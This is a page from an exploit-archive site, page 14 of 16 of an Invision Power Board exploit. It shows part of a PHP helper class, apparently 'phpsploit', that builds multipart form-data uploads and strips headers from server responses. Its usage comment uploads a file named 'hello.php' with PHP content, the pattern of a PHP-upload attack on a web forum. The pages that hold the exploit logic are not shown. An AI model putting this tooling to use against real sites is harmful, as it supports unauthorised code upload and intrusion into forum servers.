You are here: hacking technology > Exploit > Content
Hot Articles
Recommend Articles
New Articles
Invision Power Board(14)
  Add date: 10/16/2008   Publishing date: 10/16/2008   Hits: 8
Total 16 pages, Current page:14, Jump to page:
 

*                      frmdt_boundary => '123456', # Optional
*                      'var' => 'example',
*                      'file' => array(
*                                frmdt_type => 'image/gif',  # Optional
*                                frmdt_transfert => 'binary' # Optional
*                                frmdt_filename => 'hello.php,
*                                frmdt_content => '<?php echo 1; ?>'));
*          $this->formdata($formdata);
*
*/
function formdata($array)
{
$this->target($array[frmdt_url]);
$this->method = 'formdata';
$this->data = '';

if(!isset($array[frmdt_boundary]))
   $this->boundary = 'phpsploit';
else
   $this->boundary = $array[frmdt_boundary];

foreach($array as $key => $value)
{
if(!preg_match('#^frmdt_(boundary|url)#',$key))
{
$this->data .= str_repeat('-',29).$this->boundary."\r\n";
$this->data .= 'Content-Disposition: form-data; name="'.$key.'";';

if(!is_array($value))
{
$this->data .= "\r\n\r\n".$value."\r\n";
}
else
{
$this->data .= ' filename="'.$array[$key][frmdt_filename]."\";\r\n";

if(isset($array[$key][frmdt_type]))
   $this->data .= 'Content-Type: '.$array[$key][frmdt_type]."\r\n";

if(isset($array[$key][frmdt_transfert]))
   $this->data .= 'Content-Transfer-Encoding: '.$array[$key][frmdt_transfert]."\r\n";

$this->data .= "\r\n".$array[$key][frmdt_content]."\r\n";
}
}
}

$this->data .= str_repeat('-',29).$this->boundary."--\r\n";
return $this->sock();
}


/**
* This function returns the content
* of the server response, without
* the headers.
*
* @access  public
* @param   string code ServerResponse
* @return  string $this->server_content
* @example $this->getcontent()
* @example $this->getcontent($this->get('http://localhost/'))
*
*/
function getcontent($code='')
{
if(empty($code))
   $code = $this->recv;

$code = explode("\r\n\r\n",$code);
$this->server_content = '';

for($i=1;$i<count($code);$i++)
   $this->server_content .= $code[$i];

return $this->server_content;
}


/**
* This function returns the headers
* of the server response, without
* the content.
*
* @access  public
* @param   string code ServerResponse

 
Other pages: : <<Prev * 1 * 2 * 3 * 4 * 5 * 6 * 7 * 8 * 9 * 10 * 11 * 12 * 13 * 14 * 15 * 16 * Next>>
Prev:Invision Power Board Next:Acoustica Beatcraft 1.02 Build 19 (bcproj file) Local BOF Exploit

Comment:

Category: Home > Exploit